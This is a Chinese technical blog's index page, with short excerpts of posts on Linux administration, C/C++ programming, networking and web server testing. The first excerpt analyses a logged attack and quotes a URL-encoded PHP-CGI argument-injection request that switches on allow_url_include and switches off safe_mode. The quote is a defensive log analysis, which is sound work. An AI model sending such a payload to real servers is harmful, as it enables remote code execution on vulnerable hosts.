- 博客(75)
- 资源 (2)
- 收藏
- 关注
原创 无域名HTTP请求攻击分析
无域名HTTP请求攻击分析检测组内WEB服务器攻击日志时,在防护WAF上发现如下攻击记录:http://-c//cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75
2014-06-16 10:28:24
4549
原创 python web-spider之图片保存
保存路径和文件名称保持图片在目标网站中的相对路径和名称是比较合适的方案,这需要对图片URL进行split处理。创建相对路径的代码如下:def createPath(url):folders=url.split('/')i=3path=folders[2]while ipath=os.path.join(path,folders[i])i+=1 if not
2014-06-15 17:43:45
2120
原创 网卡速率适配
一般情况下,网卡速率是操作系统与交换机协商进行的。有时候我们将PC机或其它服务器连接到交换机上,发现交换机对应端口的灯是橙黄色而不是熟悉的亮绿色,但并不影响PC的网络连接。本着严谨的科学态度,我们需要了解为什么交换机的灯是橙黄色。其实原因很简单,交换机端口支持的速率和PC机网卡支持的速率不适配,譬如交换机是千兆口,而网卡确实百兆自适应。
2014-06-06 09:25:58
3119
转载 linux下的web服务器压力测试工具之Siege
一款开源的压力测试工具,可以根据配置对一个WEB站点进行多用户的并发访问,记录每个用户所有请求过程的相应时间,并在一定数量的并发访问下重复进行。官方:http://www.joedog.org/Siege下载:http://soft.vpser.net/test/siege/siege-2.67.tar.gz解压:# tar -zxf siege-2.67.tar.gz进入解压
2014-06-05 17:50:30
1052
转载 linux下的web服务器压力测试工具之webbench
参考http://www.cnblogs.com/shipengzhi/archive/2012/10/09/2716766.html
2014-06-05 17:48:01
964
转载 linux下的web服务器压力测试工具之http_load
程序非常小,解压后也不到100Khttp_load以并行复用的方式运行,用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具,它可以以一个单一的进程运行,一般不会把客户机搞死。还可以测试HTTPS类的网站请求。下载地址:http://soft.vpser.net/test/http_load/http_load-12mar2006.tar.gz安装#tar z
2014-06-05 17:44:04
1577
转载 进入Linux救援(rescue)模式的四大法门
适用场景 当误操作修改系统启动文件/etc/fstab, /etc/rc.d/rc.sysinit时,就会造成系统启动时读取磁盘或初始化环境失败,导致linux无法正常启动,此时就可以借助Linux的救援模式临时进入系统,进行文件修改,纠正错误救援(rescue)模式的本质 只是一个带shell的Linux运行环境,借助它可以通过mount和chroot进入
2014-05-03 17:33:17
5300
转载 Linux系统运行级与启动机制剖析
一 系统运行级windows系统有安全运行模式和正常运行模式,这是两个不同的运行级,同样,linux也有系统运行级别,并且linux系统的运行级别更加灵活,更加多样化。在讲述运行级别前,先讲述下linux下的init程序,因为init程序直接和系统运行级别相关联, init程序是linux操作系统最主要的程序之一,是一个由系统内核启动的用户级进程,同时init进程也是所有其它系统进程的鼻祖
2014-05-01 21:22:02
701
转载 文件格式之PNG格式详解
PNG的文件结构对于一个PNG文件来说,其文件头总是由位固定的字节来描述的:十进制数137 80 78 71 13 10 26 10十六进制数89 50 4E 47 0D 0A 1A 0A其中第一个字节0x89超出了ASCII字符的范围,这是为了避免某些软件将PNG文件当做文本文件来处理。文件中剩余的部
2014-03-09 20:40:06
2041
转载 Linux之文件的特殊权限SUID,SGID,SBIT详解
大家都知道文件和目录的权限最常见的有三个.可读(r)..可写(w)..可执行(x)..它们的级别分别是4..2..1..我们有时也会发现有些文件所属主的权限上带有一个s的标志位.目录的所属组上也带有s标志位.很多人不理解这是为什么....下面我们举例来看一下... #ls -l /usr/bin/passwd -rwsr-xr-x 1 root root
2014-03-06 15:59:29
961
转载 C语言之const修饰符
const在C语言中算是一个比较新的描述符,我们称之为常量修饰符,即就是说其所修饰的对象为常量。当你代码中想要设法阻止一个变量被改变,那么这个时候可以选择使用const关键字。在你给一个变量加上const修饰符的同时,通常需要对它进行初始化,在之后的程序中就不能再去改变它。可能有的人会有一个疑问,我们不是有在C中有预处理指令#define VariableName VariableValu
2014-03-05 22:32:27
1237
转载 C语言之三联符
考察如下 C 程序:??=includeint main()??你可能看着会觉得很奇怪, 然而这却是一段合法的 C 程序, 我在 vc2008 中尝试编译并成功.实际上, 三联符序列就是以 ?? 开头的三个字符, 用来对某个其它字符进行指定替换, 替换规则如下表:三联符替换??=#??/\??’^
2014-03-05 21:45:41
2742
原创 unsigned无符号数减法问题
今天一个QQ群里有人扔出一段代码:#include float sum_elem(float a[],unsigned length){ int i; float result = 0; for(i=0;i<=length-1;i++){ //printf("test\n"); result+=a[i];} return result;}
2014-03-04 16:32:57
15384
转载 static在C和C++中的用法和区别
static主要有三个作用: (1)局部静态变量(2)外部静态变量/函数(3)静态数据成员/成员函数前两种C和C++都有,第三种仅在C++中有,下面分别作以下介绍:一、局部静态变量 在C/C++中, 局部变量按照存储形式可分为三种auto, static, register。其中register不常用到,下面主要说说auto和static的区别。
2014-03-02 23:36:25
769
转载 FTP协议分析
根据是使用Port模式还是Passive模式,FTP使用不同的TCP端口号,在详细描述FTP前,我们来简单讨论一下TCP端口号的一些基本概念。TCP使用端口号来标识所发送和接收的应用,端口号可以帮助TCP来分离字节流并且帮相应字节传递给正确的应用程序。 TCP端口号可以是半永久的和暂时的。服务器端监听在半永久的端口上来让客户端访问。客户端使用暂时的端口在本地标识一个对话,客户端端口只在使用
2014-03-01 14:00:16
1039
转载 linux系统调用和库函数调用的区别
Linux下对文件操作有两种方式:系统调用(system call)和库函数调用(Library functions)。可以参考《Linux程序设计》(英文原版为《Beginning Linux Programming》,作者是Neil Matthew和Richard Stones)第三章: Working with files。系统调用实际上就是指最底层的一个调用,在linux程序设计里面就是底
2014-02-28 13:13:42
795
转载 uint8_t数据类型
在看一些开源c程序时,经常会看到很多不认识的数据类型,比如uint8_t等。咋一看,好像是个新的数据类型,不过C语言里面好像没有这种数据类型啊!怎么又是u又是_t的?很多人有这样的疑问。论坛上就有人问:以*_t结尾的类型是不是都是long型的?在baidu上查一下,才找到答案,这时才发觉原来自己对C掌握的太少。那么_t的意思到底表示什么?具体的官方答案没有找到,不过我觉得有个答案比较接近。
2014-02-28 11:38:34
2702
原创 linux下的c语言【入门】
本文是feixiaoxing的linux下的C语言开发系列 的阅读笔记。大部分内容是来自原文,中间补充了一点网络上检索到的资料和自己的理解。makefile语法规则:目标:依赖文件(多个文件以空格间隔)[TAB]编译命令举例:main:main.o test1.o test2.o gcc -o main main.o test1.o test2.om
2014-02-25 22:16:58
1479
转载 非阻塞式socket编程(select() )
原文地址:http://eastsun.blogbus.com/logs/7873846.htmlSelect在Socket编程中还是比较重要的,可是对于初学Socket的人来说都不太爱用Select写程序,他们只是习惯写诸如connect、accept、recv或recvfrom这样的阻塞程序(所谓阻塞方式block,顾名思义,就是进程或是线程执行到这些函数时必须等待某个事件的发生,如果事件
2014-02-23 23:43:20
790
转载 C/C++ 中##(两个井号)和#(一个井号)的意思
地址:http://wan121674040.blog.163.com/blog/static/26672392201242483026637/?latestBlog## : 连接符,其功能是在带参数的宏定义中将两个子串(token)联接起来,从而形成一个新的子串 注:子串(token)指编译器能够识别的最小语法单元# : 将传递过来的参数当初字符串进行替代
2014-02-14 11:30:29
2871
转载 hlist_head和list_head区别以及container_of机制 - [linux内核]
原文地址:http://www.blogbus.com/wanderer-zjhit-logs/149618655.html一:hlist_head和list_head,为节省空间而诞生的双胞胎兄弟1 struct hlist_head定义: struct hlist_head { struct hlist_node *first;};struct hlist_node
2014-02-14 11:14:13
2456
转载 堆和栈的区别
一、预备知识—程序的内存分配 一个由C/C++编译的程序占用的内存分为以下几个部分 1、栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等。其 操作方式类似于数据结构中的栈。 2、堆区(heap) — 一般由程序员分配释放, 若程序员不释放,程序结束时可能由OS回 收 。注意它与数据结构中的堆是两
2014-02-10 11:27:27
716
转载 CreateThread与pthread_create参数比较
原文:http://blog.youkuaiyun.com/jackalfly/article/details/8312822创建线程在 Windows 中,您可以使用 CreateThread() 来创建线程,创建的线程在调用进程的虚拟地址空间中运行。 HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,
2014-02-09 20:12:14
2768
转载 C++重载operator的示例
以下示例中定义了一个class test, 重载了>等符号:#include#includeusing namespace std;class test{public: int v; /*构造函数*/ test():v(0){} test(const int &a):v(a){} test(const test &
2014-02-09 20:00:35
1200
4
转载 pthread_create主线程与创建的新线程之间退出关系
原文地址:http://blog.youkuaiyun.com/xiajun07061225/article/details/8976850我们在一个线程中经常会创建另外的新线程,如果主线程退出,会不会影响它所创建的新线程呢?下面就来讨论一下。 1、 主线程等待新线程先结束退出,主线程后退出。正常执行。实例代码:[cpp] view plaincopy
2014-02-09 16:01:29
3692
转载 头文件pthread.h
上一篇转载的文章中提到了符合posix标准的多线程c++ 多线程编程基础可以看到调用创建线程的接口pthread_create()须要包含头文件pthread.h以下是pthread.h的内容[链接]/*******************************************************************************/The S
2014-02-09 13:56:21
19937
1
转载 c++ 多线程编程基础
原文地址:http://blog.youkuaiyun.com/lzx_bupt/article/details/6910503c/c++: 多线程编程基础讲解(一)利用几篇文章简单记录下c与c++多线程编程基础入门的东西,每篇一个程序来记录,备忘。这些章节是由浅入深组织的,赖死狗!在注释中讲吧,佛楼米![cpp] view plaincopy
2014-02-09 13:22:44
1561
4
原创 ubuntu History命令显示操作时间、用户和登录IP
0x01 背景在ubuntu系统的维护中,经常会用到history命令。但是考虑到同事误操作责任追究以及被入侵后的线索追查,ubuntu系统中默认提供的history命令难以满足我们的需求。经过一番调研,发现可以通过修改/etc/profile 文件 一定程度上满足需求。0x02 需求执行history命令时能够实现以下效果:(1)显示命令执行的时间(2)显示执行命令的
2013-01-24 22:26:45
9126
原创 nagios重新设置web口令
nagios安装过程中会要求输入nagios web访问界面的账号口令默认账号为nagiosadmin,但是过段时间如果忘记口令该怎么办?别急。以ubuntu为例,apt-get安装nagios的话,nagios web界面的账号口令存储在/etc/nagios3/htpasswd.users$ cat /etc/nagios3/htpasswd.users nagiosadmi
2013-01-18 19:58:37
1986
2
原创 ubuntu开机自动加载iptables配置
iptables配置完成后,如果不做设置,机器重启动后,规则会丢失ubuntu下可以通过以下步骤保存iptables设置,并实现开机自动加载1、iptables配置完成后执行:iptables-save > /etc/init.d/iptables.up.rules将当前配置保存再iptables.up.rules文件中,文件名可以随意。在/etc/init.d/目录下创建文件
2013-01-10 11:08:05
5198
原创 ubuntu 开机加载静态路由设置
1、首先,创建编辑一个 /etc/init.d/route.up.rules 文件。这个文件的创建需要root权限,如果是普通账号权限,可以先执行sudo su,进入root权限模式下执行:vi /etc/init.d/route.up.rules在打开的编辑器里输入合适的静态路由配置,例如下:route add -net 10.35.0.0/24 gw 10.35.0.254 dev
2013-01-10 11:01:55
5832
原创 远程客户端连接MysqL数据库太慢解决方案
平台方案部署时,可能会遇到局域网内远程连接mysql数据库慢,延迟在10秒钟左右。很有可能是默认安装的mysql服务器开启了DNS反向解析,但是mysql服务器上使用的dns服务器存在问题导致的。解决方案1:(ubuntu环境)vi /etc/mysql/my.cnf在[mysqld]下写入:skip-name-resolve此选项禁用了DNS解析,连接速度会快很多。但
2013-01-05 21:32:03
1933
原创 多地灯控开关
现实生活中,比较实用的是双控开关。其实就是一个异或门。电路图如下:图片是从百度知道里翻出来的。(http://zhidao.baidu.com/question/93332832.html)下面的三地控制开关和多地控制开关,实际生活中用的较少。三地控制开关的图画的有个小缺陷,为了方便描述,将双刀双掷开关右侧的四个接点从上到下编号为1,2,3,4,其中1和4号接点是连在一条线
2013-01-03 11:01:09
887
转载 shell读取文件
写法一:----------------------------------------------------------------------------#!/bin/bashwhile read linedo echo $linedone -----------------------------------------------------------
2012-12-28 13:57:26
522
转载 shell shift的使用
shift,前移一位参数,转自:http://www.chengyongxu.com/blog/bash-shell%E4%B8%ADshift%E7%94%A8%E6%B3%95/shift可以用来向左移动位置参数。Shell的名字 $0第一个参数 $1第二个参数 $2第n个参数 $n所有参数 $@ 或 $*参数个数 $#shift默认是s
2012-12-28 13:56:17
821
DevComponents.DotNetBar2.dll
2011-06-01
netsvc
2008-04-07
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人